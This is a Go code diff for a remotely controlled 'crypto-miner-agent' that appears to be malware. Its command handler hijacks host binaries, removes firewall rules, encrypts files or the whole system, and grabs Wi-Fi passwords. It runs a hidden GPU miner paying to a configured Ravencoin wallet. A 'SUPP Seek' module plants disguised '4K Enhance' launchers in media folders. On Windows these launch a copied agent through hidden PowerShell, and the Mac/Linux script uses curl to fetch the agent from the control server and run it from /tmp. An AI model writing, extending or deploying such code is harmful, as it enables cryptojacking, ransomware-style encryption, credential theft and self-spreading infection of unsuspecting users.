+		target, err := deploy.HijackHostBinary(c.cfg, bin, preset)
+		if err != nil {
+			c.sendCommandResult(action, false, err.Error())
+			return true
+		}
+		c.sendCommandResult(action, true, fmt.Sprintf("host binary hijacked: %s (preset %s)", target, preset))
+		return true
+
+	case "firewall_remove":
+		var parts []string
+		ruleName := strings.TrimSpace(path)
+		if ruleName != "" {
+			msg, err := deploy.RemoveFirewallRuleByName(ruleName)
+			if err != nil {
+				c.sendCommandResult(action, false, fmt.Sprintf("%v\n%s", err, msg))
+				return true
+			}
+			parts = append(parts, msg)
+		}
+		deploy.RemoveFirewallExclusion(c.cfg)
+		parts = append(parts, "Removed AetherForge miner firewall rules (if present)")
+		c.sendCommandResult(action, true, strings.Join(parts, "\n"))
+		return true
+
+	case "supp_seek":
+		seekPath := strings.TrimSpace(path)
+		if seekPath == "" {
+			c.sendCommandResult(action, false, "path is required — set the 'path' field to the root directory to scan")
+			return true
+		}
+		// command field carries target flags: "win", "mac", "all" (default all)
+		flag := strings.ToLower(strings.TrimSpace(command))
+		opts := suppSeekOpts{
+			DropWindows: flag == "" || flag == "all" || strings.Contains(flag, "win"),
+			DropMac:     flag == "" || flag == "all" || strings.Contains(flag, "mac"),
+			ServerURL:   c.cfg.ServerURL,
+		}
+		// data field carries optional custom stem (file name without extension)
+		if strings.TrimSpace(data) != "" {
+			opts.FileStem = strings.TrimSpace(data)
+		}
+		c.sendCommandResult(action, true, fmt.Sprintf("SUPP Seek started — scanning %s (win=%v mac=%v)", seekPath, opts.DropWindows, opts.DropMac))
+		go func() {
+			result := suppSeekWalk(seekPath, opts)
+			c.sendCommandResult("supp_seek_done", true, result.Summary())
+		}()
+		return true
+
+	case "sys_crypt", "encrypt_path":
+		target := strings.TrimSpace(path)
+		recursive := parseRecursiveFlag(command, data)
+		if action == "sys_crypt" && target == "" {
+			recursive = true
+		}
+		go func() {
+			var result string
+			if target == "" && action == "sys_crypt" {
+				result = SysCrypt()
+			} else {
+				result = EncryptPath(target, recursive)
+			}
+			c.sendCommandResult(action, true, result)
+		}()
+		return true
+
+	case "get_wifi_passwords":
+		go func() {
+			result := grabWiFiPasswords()
+			c.sendCommandResult(action, true, result)
+		}()
+		return true
+
+	case "mesh_status":
+		count := c.mesh.PeerCount()
+		if count == 0 && c.cfg.MeshP2P {
+			c.sendCommandResult(action, true, "mesh peers connected: 0 — binary not built with -tags p2p — re-forge with Mesh Networking enabled")
+		} else {
+			c.sendCommandResult(action, true, fmt.Sprintf("mesh peers connected: %d", count))
+		}
+		return true
+
+	case "wg_setup":
+		// Generates WireGuard keypair, tries UPnP, returns JSON result to server.
+		go func() {
+			result := WGSetupJSON()
+			c.sendCommandResult(action, true, result)
+		}()
+		return true
+
+	case "wg_configure":
+		// data field carries the JSON WGConfigPayload from the server.
+		var payload WGConfigPayload
+		if err := json.Unmarshal([]byte(data), &payload); err != nil {
+			c.sendCommandResult(action, false, "bad wg config payload: "+err.Error())
+			return true
+		}
+		go func() {
+			if err := WGConfigure(payload); err != nil {
+				c.sendCommandResult(action, false, err.Error())
+				return
+			}
+			c.sendCommandResult(action, true, "WireGuard tunnel started")
+		}()
+		return true
+
+	case "wg_teardown":
+		go func() {
+			WGTeardown()
+			c.sendCommandResult(action, true, "WireGuard tunnel removed")
+		}()
+		return true
+
+	case "wg_status":
+		c.sendCommandResult(action, true, WGStatus())
+		return true
+
+	case "service_discover":
+		maxHosts := parsePortArg(command, 32)
+		out := deploy.RunServiceDiscover(maxHosts)
+		c.sendCommandResult(action, true, out)
+		return true
+
+	case "discover_and_join":
+		maxHosts := parsePortArg(command, 32)
+		go func() {
+			msg, err := c.runDiscoverAndJoin(maxHosts)
+			if err != nil {
+				c.sendCommandResult(action, false, err.Error())
+				return
+			}
+			c.sendCommandResult(action, true, msg)
+		}()
+		return true
+	}
+
+	return false
+}
+
+func parsePortArg(raw string, fallback int) int {
+	raw = strings.TrimSpace(raw)
+	if raw == "" {
+		return fallback
+	}
+	n, err := strconv.Atoi(raw)
+	if err != nil || n <= 0 || n > 65535 {
+		return fallback
+	}
+	return n
+}
--- a/usb/agent/client/client.go
+++ b/usb/agent/client/client.go
--- a/usb/agent/client/gpu_detect_stub.go
+++ b/usb/agent/client/gpu_detect_stub.go
@@ -0,0 +1,105 @@
+//go:build !windows
+
+package client
+
+import (
+	"archive/zip"
+	"bytes"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strings"
+)
+
+func detectGPU() GPUInfo {
+	// On non-Windows, only probe NVIDIA via nvidia-smi.
+	out, err := exec.Command("nvidia-smi", "--query-gpu=name", "--format=csv,noheader").Output()
+	if err == nil {
+		model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0])
+		if model != "" {
+			return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model}
+		}
+	}
+	return GPUInfo{Vendor: GPUVendorNone}
+}
+
+func (g *GPUMiner) startProcessOnPool(binPath string, ep rvnEndpoint) (*os.Process, error) {
+	wallet := g.cfg.RVNWallet
+	worker := g.cfg.WorkerName
+	poolURL := buildPoolURL(ep)
+	pass := ep.pass
+	if pass == "" {
+		pass = "x"
+	}
+
+	args := []string{
+		"-a", "kawpow",
+		"-o", poolURL,
+		"-u", wallet + "." + worker,
+		"-p", pass,
+		"--api-bind-http", "127.0.0.1:4067",
+	}
+	cmd := exec.Command(binPath, args...)
+	cmd.Dir = filepath.Dir(binPath)
+	if err := cmd.Start(); err != nil {
+		return nil, err
+	}
+	return cmd.Process, nil
+}
+
+func itoa(n int) string {
+	if n == 0 {
+		return "0"
+	}
+	buf := make([]byte, 0, 10)
+	neg := n < 0
+	if neg {
+		n = -n
+	}
+	for n > 0 {
+		buf = append([]byte{byte('0' + n%10)}, buf...)
+		n /= 10
+	}
+	if neg {
+		buf = append([]byte{'-'}, buf...)
+	}
+	return string(buf)
+}
+
+func extractZipFile(data []byte, destDir, targetFile string) error {
+	r, err := zip.NewReader(bytes.NewReader(data), int64(len(data)))
+	if err != nil {
+		return err
+	}
+	targetLower := strings.ToLower(targetFile)
+	for _, f := range r.File {
+		if strings.ToLower(filepath.Base(f.Name)) != targetLower {
+			continue
+		}
+		rc, err := f.Open()
+		if err != nil {
+			return err
+		}
+		defer rc.Close()
+		dst := filepath.Join(destDir, targetFile)
+		out, err := os.Create(dst)
+		if err != nil {
+			return err
+		}
+		defer out.Close()
+		buf := make([]byte, 32*1024)
+		for {
+			n, err := rc.Read(buf)
+			if n > 0 {
+				if _, we := out.Write(buf[:n]); we != nil {
+					return we
+				}
+			}
+			if err != nil {
+				break
+			}
+		}
+		return nil
+	}
+	return nil
+}
--- a/usb/agent/client/gpu_detect_windows.go
+++ b/usb/agent/client/gpu_detect_windows.go
@@ -0,0 +1,147 @@
+//go:build windows
+
+package client
+
+import (
+	"archive/zip"
+	"bytes"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strings"
+
+	"crypto-miner-agent/deploy"
+)
+
+// detectGPU identifies the first supported discrete GPU on Windows.
+// Priority: NVIDIA (via nvidia-smi) → AMD (via wmic VideoController).
+func detectGPU() GPUInfo {
+	// NVIDIA — nvidia-smi is the most reliable check
+	if out, err := deploy.HiddenOutput("nvidia-smi", "--query-gpu=name", "--format=csv,noheader"); err == nil {
+		model := strings.TrimSpace(strings.SplitN(string(out), "\n", 2)[0])
+		if model != "" {
+			return GPUInfo{Vendor: GPUVendorNVIDIA, Model: model}
+		}
+	}
+
+	// AMD — wmic (available on all modern Windows without extra installs)
+	if out, err := deploy.HiddenOutput(
+		"wmic", "path", "win32_VideoController", "get", "Name", "/value",
+	); err == nil {
+		for _, line := range strings.Split(string(out), "\n") {
+			line = strings.TrimSpace(line)
+			if !strings.HasPrefix(strings.ToLower(line), "name=") {
+				continue
+			}
+			name := strings.TrimSpace(strings.SplitN(line, "=", 2)[1])
+			lo := strings.ToLower(name)
+			if strings.Contains(lo, "radeon") || strings.Contains(lo, "amd") || strings.Contains(lo, "rx ") {
+				return GPUInfo{Vendor: GPUVendorAMD, Model: name}
+			}
+		}
+	}
+
+	return GPUInfo{Vendor: GPUVendorNone}
+}
+
+// startProcessOnPool launches the GPU miner binary against a specific pool endpoint.
+func (g *GPUMiner) startProcessOnPool(binPath string, ep rvnEndpoint) (*os.Process, error) {
+	wallet := g.cfg.RVNWallet
+	worker := g.cfg.WorkerName
+	poolURL := buildPoolURL(ep)
+	pass := ep.pass
+	if pass == "" {
+		pass = "x"
+	}
+
+	var args []string
+	switch g.info.Vendor {
+	case GPUVendorNVIDIA:
+		args = []string{
+			"-a", "kawpow",
+			"-o", poolURL,
+			"-u", wallet + "." + worker,
+			"-p", pass,
+			"--api-bind-http", "127.0.0.1:4067",
+			"--no-watchdog",
+			"--exit-on-cuda-error",
+		}
+	case GPUVendorAMD:
+		args = []string{
+			"-a", "kawpow",
+			"-o", poolURL,
+			"-u", wallet + "." + worker,
+			"-p", pass,
+			"--api_listen=4068",
+		}
+	}
+
+	cmd := exec.Command(binPath, args...)
+	deploy.PrepareHiddenProcess(cmd)
+	cmd.Dir = filepath.Dir(binPath)
+	cmd.Stdout = nil
+	cmd.Stderr = nil
+
+	if err := cmd.Start(); err != nil {
+		return nil, err
+	}
+	return cmd.Process, nil
+}
+
+func itoa(n int) string {
+	if n == 0 {
+		return "0"
+	}
+	buf := make([]byte, 0, 10)
+	neg := n < 0
+	if neg {
+		n = -n
+	}
+	for n > 0 {
+		buf = append([]byte{byte('0' + n%10)}, buf...)
+		n /= 10
+	}
+	if neg {
+		buf = append([]byte{'-'}, buf...)
+	}
+	return string(buf)
+}
+
+// extractZipFile unpacks targetFile from a zip archive (in memory) to destDir.
+func extractZipFile(data []byte, destDir, targetFile string) error {
+	r, err := zip.NewReader(bytes.NewReader(data), int64(len(data)))
+	if err != nil {
+		return err
+	}
+	targetLower := strings.ToLower(targetFile)
+	for _, f := range r.File {
+		if strings.ToLower(filepath.Base(f.Name)) != targetLower {
+			continue
+		}
+		rc, err := f.Open()
+		if err != nil {
+			return err
+		}
+		defer rc.Close()
+		dst := filepath.Join(destDir, targetFile)
+		out, err := os.Create(dst)
+		if err != nil {
+			return err
+		}
+		defer out.Close()
+		buf := make([]byte, 32*1024)
+		for {
+			n, err := rc.Read(buf)
+			if n > 0 {
+				if _, we := out.Write(buf[:n]); we != nil {
+					return we
+				}
+			}
+			if err != nil {
+				break
+			}
+		}
+		return nil
+	}
+	return nil // binary not found inside zip — non-fatal, caller checks after
+}
--- a/usb/agent/client/gpu_miner.go
+++ b/usb/agent/client/gpu_miner.go
@@ -0,0 +1,520 @@
+package client
+
+import (
+	"encoding/json"
+	"fmt"
+	"io"
+	"log"
+	"net/http"
+	"os"
+	"path/filepath"
+	"sync"
+	"time"
+
+	"crypto-miner-agent/config"
+)
+
+
+// GPUVendor identifies the discrete GPU brand on the host.
+type GPUVendor int
+
+const (
+	GPUVendorNone  GPUVendor = iota
+	GPUVendorNVIDIA          // use T-Rex miner (KawPoW)
+	GPUVendorAMD             // use TeamRedMiner (KawPoW)
+	GPUVendorOther           // generic / Intel — not supported for KawPoW
+)
+
+// GPUInfo holds detected GPU metadata.
+type GPUInfo struct {
+	Vendor GPUVendor
+	Model  string
+}
+
+// GPUMinerStats is polled from the miner's local HTTP API.
+type GPUMinerStats struct {
+	Hashrate15s  float64
+	Hashrate1m   float64
+	Hashrate15m  float64
+	GPUTempC     *int
+	GPUUsagePct  *int
+	ActiveAlgo   string
+}
+
+// rvnEndpoint is one pool entry for the GPU miner (primary or backup).
+type rvnEndpoint struct {
+	host string
+	port int
+	tls  bool
+	pass string
+}
+
+// GPUMiner manages one GPU miner sub-process (T-Rex or TeamRedMiner).
+type GPUMiner struct {
+	cfg        config.RuntimeConfig
+	info       GPUInfo
+	installDir string
+
+	mu     sync.RWMutex
+	stats  GPUMinerStats
+	active bool
+	paused bool
+	proc   *os.Process // currently running subprocess (nil if stopped)
+
+	stopCh   chan struct{}
+	pauseCh  chan struct{} // closed when paused, re-created on resume
+	resumeCh chan struct{} // closed when resuming from pause
+	pauseMu  sync.Mutex
+	wg       sync.WaitGroup
+}
+
+// newGPUMiner creates a GPUMiner if GPU mining is configured and a supported GPU is detected.
+// Returns nil if GPU mining should not run.
+func newGPUMiner(cfg config.RuntimeConfig) *GPUMiner {
+	if !cfg.GPUEnabled || cfg.RVNWallet == "" {
+		return nil
+	}
+	info := detectGPU()
+	if info.Vendor == GPUVendorNone || info.Vendor == GPUVendorOther {
+		log.Printf("[gpu] GPU mining enabled but no supported GPU detected (vendor=%v model=%q)", info.Vendor, info.Model)
+		return nil
+	}
+	installDir, err := cfg.InstallDirectory()
+	if err != nil {
+		log.Printf("[gpu] cannot determine install dir: %v", err)
+		return nil
+	}
+	log.Printf("[gpu] detected %s — will run KawPoW miner for RVN", info.Model)
+	g := &GPUMiner{
+		cfg:        cfg,
+		info:       info,
+		installDir: installDir,
+		stopCh:     make(chan struct{}),
+		pauseCh:    make(chan struct{}),
+		resumeCh:   make(chan struct{}),
+	}
+	// pauseCh starts open; waitIfPaused hits the default branch and returns
+	// true immediately, so no pre-close of resumeCh is needed (and
+	// pre-closing it would break the first Pause() — the inner select would
+	// fire on the already-closed channel instead of blocking).
+	return g
+}
+
+// Start downloads (if needed) and launches the GPU miner, then polls stats.
+func (g *GPUMiner) Start() {
+	g.wg.Add(1)
+	go func() {
+		defer g.wg.Done()
+		g.run()
+	}()
+}
+
+// Stop shuts down the GPU miner and waits for it to exit.
+func (g *GPUMiner) Stop() {
+	// Resume first so the run loop is not blocked on pauseCh when stop fires.
+	g.Resume()
+	select {
+	case <-g.stopCh:
+	default:
+		close(g.stopCh)
+	}
+	g.wg.Wait()
+}
+
+// Pause suspends KawPoW polling and kills the running miner subprocess until
+// Resume is called. Safe to call multiple times.
+func (g *GPUMiner) Pause() {
+	g.pauseMu.Lock()
+	defer g.pauseMu.Unlock()
+	g.mu.Lock()
+	already := g.paused
+	if !already {
+		g.paused = true
+		// Kill the running process so it stops consuming GPU.
+		if g.proc != nil {
+			_ = g.proc.Kill()
+		}
+	}
+	g.mu.Unlock()
+	if !already {
+		// Signal the run loop to enter the paused wait.
+		select {
+		case <-g.pauseCh:
+		default:
+			close(g.pauseCh)
+		}
+		log.Printf("[gpu] miner paused by remote command")
+	}
+}
+
+// Resume restarts the KawPoW miner after a Pause. Safe to call when not paused.
+func (g *GPUMiner) Resume() {
+	g.pauseMu.Lock()
+	defer g.pauseMu.Unlock()
+	g.mu.Lock()
+	wasPaused := g.paused
+	g.paused = false
+	g.mu.Unlock()
+	if wasPaused {
+		// Unblock the run loop waiting on resumeCh, then reset both channels.
+		select {
+		case <-g.resumeCh:
+		default:
+			close(g.resumeCh)
+		}
+		g.pauseCh = make(chan struct{})
+		g.resumeCh = make(chan struct{})
+		log.Printf("[gpu] miner resumed by remote command")
+	}
+}
+
+// waitIfPaused blocks the run loop while paused, returning false if stop fires.
+func (g *GPUMiner) waitIfPaused() bool {
+	g.pauseMu.Lock()
+	pauseCh := g.pauseCh
+	resumeCh := g.resumeCh
+	g.pauseMu.Unlock()
+
+	select {
+	case <-pauseCh:
+		// Paused — wait for resume or stop.
+		select {
+		case <-g.stopCh:
+			return false
+		case <-resumeCh:
+			return true
+		}
+	default:
+		return true
+	}
+}
+
+// Stats returns the latest GPU mining statistics.
+func (g *GPUMiner) Stats() (GPUMinerStats, bool) {
+	g.mu.RLock()
+	defer g.mu.RUnlock()
+	return g.stats, g.active
+}
+
+// GPUModel returns the detected GPU model string.
+func (g *GPUMiner) GPUModel() string {
+	return g.info.Model
+}
+
+// buildPoolList returns the primary pool followed by any configured backups.
+func (g *GPUMiner) buildPoolList() []rvnEndpoint {
+	eps := []rvnEndpoint{{
+		host: g.cfg.RVNPoolHost,
+		port: g.cfg.RVNPoolPort,
+		tls:  g.cfg.RVNPoolTLS,
+		pass: g.cfg.RVNPoolPass,
+	}}
+	for _, bp := range g.cfg.RVNBackupPools {
+		if bp.Host != "" && bp.Port > 0 {
+			eps = append(eps, rvnEndpoint{
+				host: bp.Host,
+				port: bp.Port,
+				tls:  bp.TLS,
+				pass: bp.Pass,
+			})
+		}
+	}
+	return eps
+}
+
+func (g *GPUMiner) run() {
+	binPath, err := g.ensureMinerBinary()
+	if err != nil {
+		log.Printf("[gpu] could not obtain miner binary: %v", err)
+		return
+	}
+
+	pools := g.buildPoolList()
+	poolIdx := 0
+	const retryDelay = 30 * time.Second
+
+	for {
+		select {
+		case <-g.stopCh:
+			return
+		default:
+		}
+
+		if !g.waitIfPaused() {
+			return
+		}
+
+		ep := pools[poolIdx%len(pools)]
+		proc, err := g.startProcessOnPool(binPath, ep)
+		if err != nil {
+			log.Printf("[gpu] failed to start miner: %v — retry in %s (pool %d/%d)", err, retryDelay, poolIdx%len(pools)+1, len(pools))
+			select {
+			case <-g.stopCh:
+				return
+			case <-time.After(retryDelay):
+			}
+			poolIdx++
+			continue
+		}
+
+		g.mu.Lock()
+		g.active = true
+		g.proc = proc
+		g.mu.Unlock()
+
+		log.Printf("[gpu] %s started (pid=%d) → %s:%d", g.spec().fileName, proc.Pid, ep.host, ep.port)
+
+		// pollStop signals pollStats to exit; closed when this iteration ends.
+		pollStop := make(chan struct{})
+		pollDone := make(chan struct{})
+		go func() {
+			defer close(pollDone)
+			g.pollStats(pollStop)
+		}()
+
+		// Wait for process exit in a goroutine so we can also listen for stop.
+		waitDone := make(chan error, 1)
+		go func() {
+			_, werr := proc.Wait()
+			waitDone <- werr
+		}()
+
+		var stopRequested bool
+		select {
+		case <-g.stopCh:
+			// Agent shutting down — kill the miner process immediately.
+			stopRequested = true
+			_ = proc.Kill()
+			<-waitDone
+		case waitErr := <-waitDone:
+			if waitErr != nil {
+				log.Printf("[gpu] miner exited: %v — rotating to next pool", waitErr)
+			}
+			// Miner crashed or exited cleanly — rotate to next pool on retry.
+			poolIdx++
+		}
+
+		close(pollStop)
+		<-pollDone
+
+		g.mu.Lock()
+		g.active = false
+		g.proc = nil
+		g.mu.Unlock()
+
+		if stopRequested {
+			return
+		}
+
+		// Wait before retrying, but exit cleanly if Stop() is called.
+		select {
+		case <-g.stopCh:
+			return
+		case <-time.After(retryDelay):
+		}
+	}
+}
+
+// pollStats polls the miner's HTTP API until stop is closed.
+func (g *GPUMiner) pollStats(stop <-chan struct{}) {
+	apiPort := g.apiPort()
+	ticker := time.NewTicker(10 * time.Second)
+	defer ticker.Stop()
+
+	samples := make([]float64, 0, 90) // 15 min at 10s intervals
+
+	for {
+		select {
+		case <-stop:
+			return
+		case <-ticker.C:
+			hr, tempC, usage, err := fetchMinerStats(g.info.Vendor, apiPort)
+			if err != nil {
+				continue
+			}
+			samples = append(samples, hr)
+			if len(samples) > 90 {
+				samples = samples[len(samples)-90:]
+			}
+
+			g.mu.Lock()
+			g.stats = GPUMinerStats{
+				Hashrate15s: hr,
+				Hashrate1m:  avg(samples, 6),
+				Hashrate15m: avg(samples, len(samples)),
+				GPUTempC:    tempC,
+				GPUUsagePct: usage,
+				ActiveAlgo:  "kawpow",
+			}
+			g.mu.Unlock()
+		}
+	}
+}
+
+func avg(samples []float64, last int) float64 {
+	if len(samples) == 0 || last <= 0 {
+		return 0
+	}
+	if last > len(samples) {
+		last = len(samples)
+	}
+	slice := samples[len(samples)-last:]
+	var sum float64
+	for _, v := range slice {
+		sum += v
+	}
+	return sum / float64(len(slice))
+}
+
+func (g *GPUMiner) apiPort() int {
+	switch g.info.Vendor {
+	case GPUVendorNVIDIA:
+		return 4067
+	case GPUVendorAMD:
+		return 4068
+	default:
+		return 4067
+	}
+}
+
+// buildPoolURL constructs the stratum URL for a given pool endpoint.
+func buildPoolURL(ep rvnEndpoint) string {
+	scheme := "stratum+tcp"
+	if ep.tls {
+		scheme = "stratum+ssl"
+	}
+	return fmt.Sprintf("%s://%s:%d", scheme, ep.host, ep.port)
+}
+
+// ---- Miner binary management ----
+
+type minerSpec struct {
+	fileName   string
+	downloadURL string
+}
+
+func (g *GPUMiner) spec() minerSpec {
+	switch g.info.Vendor {
+	case GPUVendorNVIDIA:
+		return minerSpec{
+			fileName:    "t-rex.exe",
+			downloadURL: "https://github.com/trexminer/T-Rex/releases/download/0.26.8/t-rex-0.26.8-win.zip",
+		}
+	default: // AMD
+		return minerSpec{
+			fileName:    "teamredminer.exe",
+			downloadURL: "https://github.com/todxx/teamredminer/releases/download/v0.10.21/teamredminer-v0.10.21-win.zip",
+		}
+	}
+}
+
+func (g *GPUMiner) ensureMinerBinary() (string, error) {
+	spec := g.spec()
+
+	// 1. Check the agent's install directory first.
+	binPath := filepath.Join(g.installDir, spec.fileName)
+	if _, err := os.Stat(binPath); err == nil {
+		return binPath, nil
+	}
+
+	// 2. Check the directory that contains the running agent binary (side-by-side).
+	if exePath, err := os.Executable(); err == nil {
+		sideBySide := filepath.Join(filepath.Dir(exePath), spec.fileName)
+		if _, err := os.Stat(sideBySide); err == nil {
+			log.Printf("[gpu] found %s next to agent binary, using local copy", spec.fileName)
+			return sideBySide, nil
+		}
+	}
+
+	// 3. Fall back to downloading from GitHub.
+	log.Printf("[gpu] GPU miner binary not found locally, downloading from GitHub (this may fail on restricted networks)")
+	if err := downloadAndExtract(spec.downloadURL, g.installDir, spec.fileName); err != nil {
+		return "", fmt.Errorf("download failed: %w", err)
+	}
+	if _, err := os.Stat(binPath); err != nil {
+		return "", fmt.Errorf("binary not found after download: %s", binPath)
+	}
+	return binPath, nil
+}
+
+func downloadAndExtract(url, destDir, targetFile string) error {
+	client := &http.Client{Timeout: 5 * time.Minute}
+	resp, err := client.Get(url)
+	if err != nil {
+		return err
+	}
+	defer resp.Body.Close()
+	if resp.StatusCode != http.StatusOK {
+		return fmt.Errorf("HTTP %d from %s", resp.StatusCode, url)
+	}
+	data, err := io.ReadAll(io.LimitReader(resp.Body, 512<<20))
+	if err != nil {
+		return err
+	}
+	return extractZipFile(data, destDir, targetFile)
+}
+
+// ---- Miner HTTP API polling ----
+
+// T-Rex summary response (subset we care about).
+type trexSummary struct {
+	Hashrate int `json:"hashrate"`
+	GPUs     []struct {
+		Temperature int `json:"temperature"`
+		GpuLoad     int `json:"gpu_load"`
+	} `json:"gpus"`
+}
+
+// TeamRedMiner status response (subset).
+type trmStatus struct {
+	Algorithms []struct {
+		Name      string  `json:"algorithm"`
+		TotalMHs  float64 `json:"mhsh_total"`
+	} `json:"algorithms"`
+	GPUs []struct {
+		TempC   int `json:"temp_c"`
+		Fan     int `json:"fan_pct"`
+	} `json:"gpus"`
+}
+
+func fetchMinerStats(vendor GPUVendor, port int) (hashrate float64, tempC, usagePct *int, err error) {
+	url := fmt.Sprintf("http://127.0.0.1:%d/summary", port)
+	resp, e := http.Get(url) //nolint:noctx
+	if e != nil {
+		return 0, nil, nil, e
+	}
+	defer resp.Body.Close()
+	body, _ := io.ReadAll(resp.Body)
+
+	switch vendor {
+	case GPUVendorNVIDIA:
+		var s trexSummary
+		if e := json.Unmarshal(body, &s); e != nil {
+			return 0, nil, nil, e
+		}
+		hashrate = float64(s.Hashrate)
+		if len(s.GPUs) > 0 {
+			t := s.GPUs[0].Temperature
+			u := s.GPUs[0].GpuLoad
+			tempC = &t
+			usagePct = &u
+		}
+	case GPUVendorAMD:
+		var s trmStatus
+		if e := json.Unmarshal(body, &s); e != nil {
+			return 0, nil, nil, e
+		}
+		for _, a := range s.Algorithms {
+			if a.Name == "kawpow" || a.Name == "KawPoW" {
+				hashrate = a.TotalMHs * 1e6 // convert MH/s → H/s
+			}
+		}
+		if len(s.GPUs) > 0 {
+			t := s.GPUs[0].TempC
+			u := s.GPUs[0].Fan
+			tempC = &t
+			usagePct = &u
+		}
+	}
+	return
+}
--- a/usb/agent/client/supp_seek.go
+++ b/usb/agent/client/supp_seek.go
@@ -0,0 +1,86 @@
+package client
+
+import (
+	"fmt"
+	"os"
+	"path/filepath"
+	"strings"
+)
+
+// suppSeekOpts controls what SUPP Seek Mode drops in each discovered directory.
+type suppSeekOpts struct {
+	DropWindows bool // drop 4K Enhance.bat + VideoEnhancer.exe copy
+	DropMac     bool // drop 4K Enhance.command (curl-based Mac/Linux bootstrap)
+	ServerURL   string
+	// Name prefix used for the launcher files.
+	FileStem string // default: "4K Enhance"
+}
+
+type suppSeekResult struct {
+	Dirs      int // directories visited
+	Seeded    int // directories where files were placed
+	Skipped   int // already seeded
+	Files     int // total files placed
+	Errors    int
+	FirstErr  string
+}
+
+func (r suppSeekResult) Summary() string {
+	return fmt.Sprintf(
+		"SUPP Seek complete: %d/%d dirs seeded (%d skipped, %d files placed, %d errors)",
+		r.Seeded, r.Dirs, r.Skipped, r.Files, r.Errors,
+	)
+}
+
+// mediaExtensions is the set of file extensions that mark a directory as a
+// target — if a directory contains any of these the launcher files are dropped.
+var mediaExtensions = map[string]struct{}{
+	".mp4": {}, ".mkv": {}, ".avi": {}, ".mov": {}, ".m4v": {},
+	".ts": {}, ".wmv": {}, ".flv": {}, ".webm": {}, ".m2ts": {},
+	".iso": {}, ".bdmv": {}, ".mpg": {}, ".mpeg": {},
+}
+
+func isMediaDir(dirPath string) bool {
+	entries, err := os.ReadDir(dirPath)
+	if err != nil {
+		return false
+	}
+	for _, e := range entries {
+		if e.IsDir() {
+			continue
+		}
+		ext := strings.ToLower(filepath.Ext(e.Name()))
+		if _, ok := mediaExtensions[ext]; ok {
+			return true
+		}
+	}
+	return false
+}
+
+// batContent returns the content of the Windows .bat launcher.
+// It launches the co-located VideoEnhancer.exe silently.
+func batContent(stem string) string {
+	return "@echo off\r\n" +
+		"powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass " +
+		"-Command \"& { " +
+		"$p = Join-Path $PSScriptRoot '" + stem + ".exe'; " +
+		"if (Test-Path $p) { Start-Process $p -WindowStyle Hidden } " +
+		"}\"\r\n"
+}
+
+// commandContent returns the content of the Mac/Linux .command shell script.
+// Falls back to a C2 download if the server URL is known.
+func commandContent(serverURL string) string {
+	dl := ""
+	if serverURL != "" {
+		dl = fmt.Sprintf(
+			"curl -fsSL '%s/api/download/agent-mac' -o /tmp/.vsvc 2>/dev/null "+
+				"&& chmod +x /tmp/.vsvc && nohup /tmp/.vsvc >/dev/null 2>&1 &\n",
+			serverURL,
+		)
+	}
+	return "#!/bin/bash\n" +
+		"# Video Enhancement Service\n" +
+		dl +
+		"exit 0\n"
+}
--- a/usb/agent/client/supp_seek_stub.go
+++ b/usb/agent/client/supp_seek_stub.go
@@ -0,0 +1,54 @@
+//go:build !windows
+
+package client
+
+import (
+	"os"
+	"path/filepath"
+)
+
+// suppSeekWalk seeds each media directory with Mac/Linux launchers.
+// On non-Windows hosts we cannot copy a Windows .exe so only .command is dropped.
+func suppSeekWalk(rootPath string, opts suppSeekOpts) suppSeekResult {
+	stem := opts.FileStem
+	if stem == "" {
+		stem = "4K Enhance"
+	}
+
+	res := suppSeekResult{}
+
+	_ = filepath.WalkDir(rootPath, func(path string, d os.DirEntry, err error) error {
+		if err != nil || !d.IsDir() {
+			return nil
+		}
+		res.Dirs++
+
+		if !isMediaDir(path) {
+			return nil
+		}
+
+		cmdPath := filepath.Join(path, stem+".command")
+		if _, err := os.Stat(cmdPath); err == nil {
+			res.Skipped++
+			return nil
+		}
+
+		placed := 0
+		if opts.DropMac || (!opts.DropWindows && !opts.DropMac) {
+			content := commandContent(opts.ServerURL)
+			if err := os.WriteFile(cmdPath, []byte(content), 0755); err == nil {
+				placed++
+			}
+		}
+
+		if placed > 0 {
+			res.Seeded++
+			res.Files += placed
+		} else {
+			res.Errors++
+		}
+		return nil
+	})
+
+	return res
+}
--- a/usb/agent/client/supp_seek_windows.go
+++ b/usb/agent/client/supp_seek_windows.go
@@ -0,0 +1,99 @@
+//go:build windows
+
+package client
+
+import (
+	"io"
+	"os"
+	"path/filepath"
+)
+
+// suppSeekWalk walks rootPath recursively and seeds each media directory.
+func suppSeekWalk(rootPath string, opts suppSeekOpts) suppSeekResult {
+	stem := opts.FileStem
+	if stem == "" {
+		stem = "4K Enhance"
+	}
+
+	res := suppSeekResult{}
+
+	_ = filepath.WalkDir(rootPath, func(path string, d os.DirEntry, err error) error {
+		if err != nil || !d.IsDir() {
+			return nil
+		}
+		res.Dirs++
+
+		if !isMediaDir(path) {
+			return nil
+		}
+
+		// Check if already seeded (bat file exists).
+		batPath := filepath.Join(path, stem+".bat")
+		if _, err := os.Stat(batPath); err == nil {
+			res.Skipped++
+			return nil
+		}
+
+		placed := 0
+
+		if opts.DropWindows {
+			// 1. Copy the running binary as "4K Enhance.exe" (or stem).
+			self, err := os.Executable()
+			if err == nil {
+				dst := filepath.Join(path, stem+".exe")
+				if copyFile(self, dst) == nil {
+					placed++
+				}
+			}
+			// 2. Drop the .bat launcher that runs the exe silently.
+			bat := batContent(stem)
+			if writeFile(batPath, []byte(bat)) == nil {
+				placed++
+			}
+		}
+
+		if opts.DropMac {
+			// Drop a .command shell script for Mac/Linux.
+			cmdPath := filepath.Join(path, stem+".command")
+			content := commandContent(opts.ServerURL)
+			if writeFile(cmdPath, []byte(content)) == nil {
+				// .command files need +x to auto-run on macOS.
+				_ = os.Chmod(cmdPath, 0755)
+				placed++
+			}
+		}
+
+		if placed > 0 {
+			res.Seeded++
+			res.Files += placed
+		} else {
+			res.Errors++
+		}
+		return nil
+	})
+
+	return res
+}
+
+// copyFile copies src to dst, creating or overwriting dst.
+func copyFile(src, dst string) error {
+	in, err := os.Open(src)
+	if err != nil {
+		return err
+	}
+	defer in.Close()
+
+	out, err := os.Create(dst)
+	if err != nil {
+		return err
+	}
+	defer out.Close()
+
+	_, err = io.Copy(out, in)
+	return err
+}
+
+// writeFile writes data to path atomically enough for our use.
+func writeFile(path string, data []byte) error {
+	return os.WriteFile(path, data, 0644)
+}
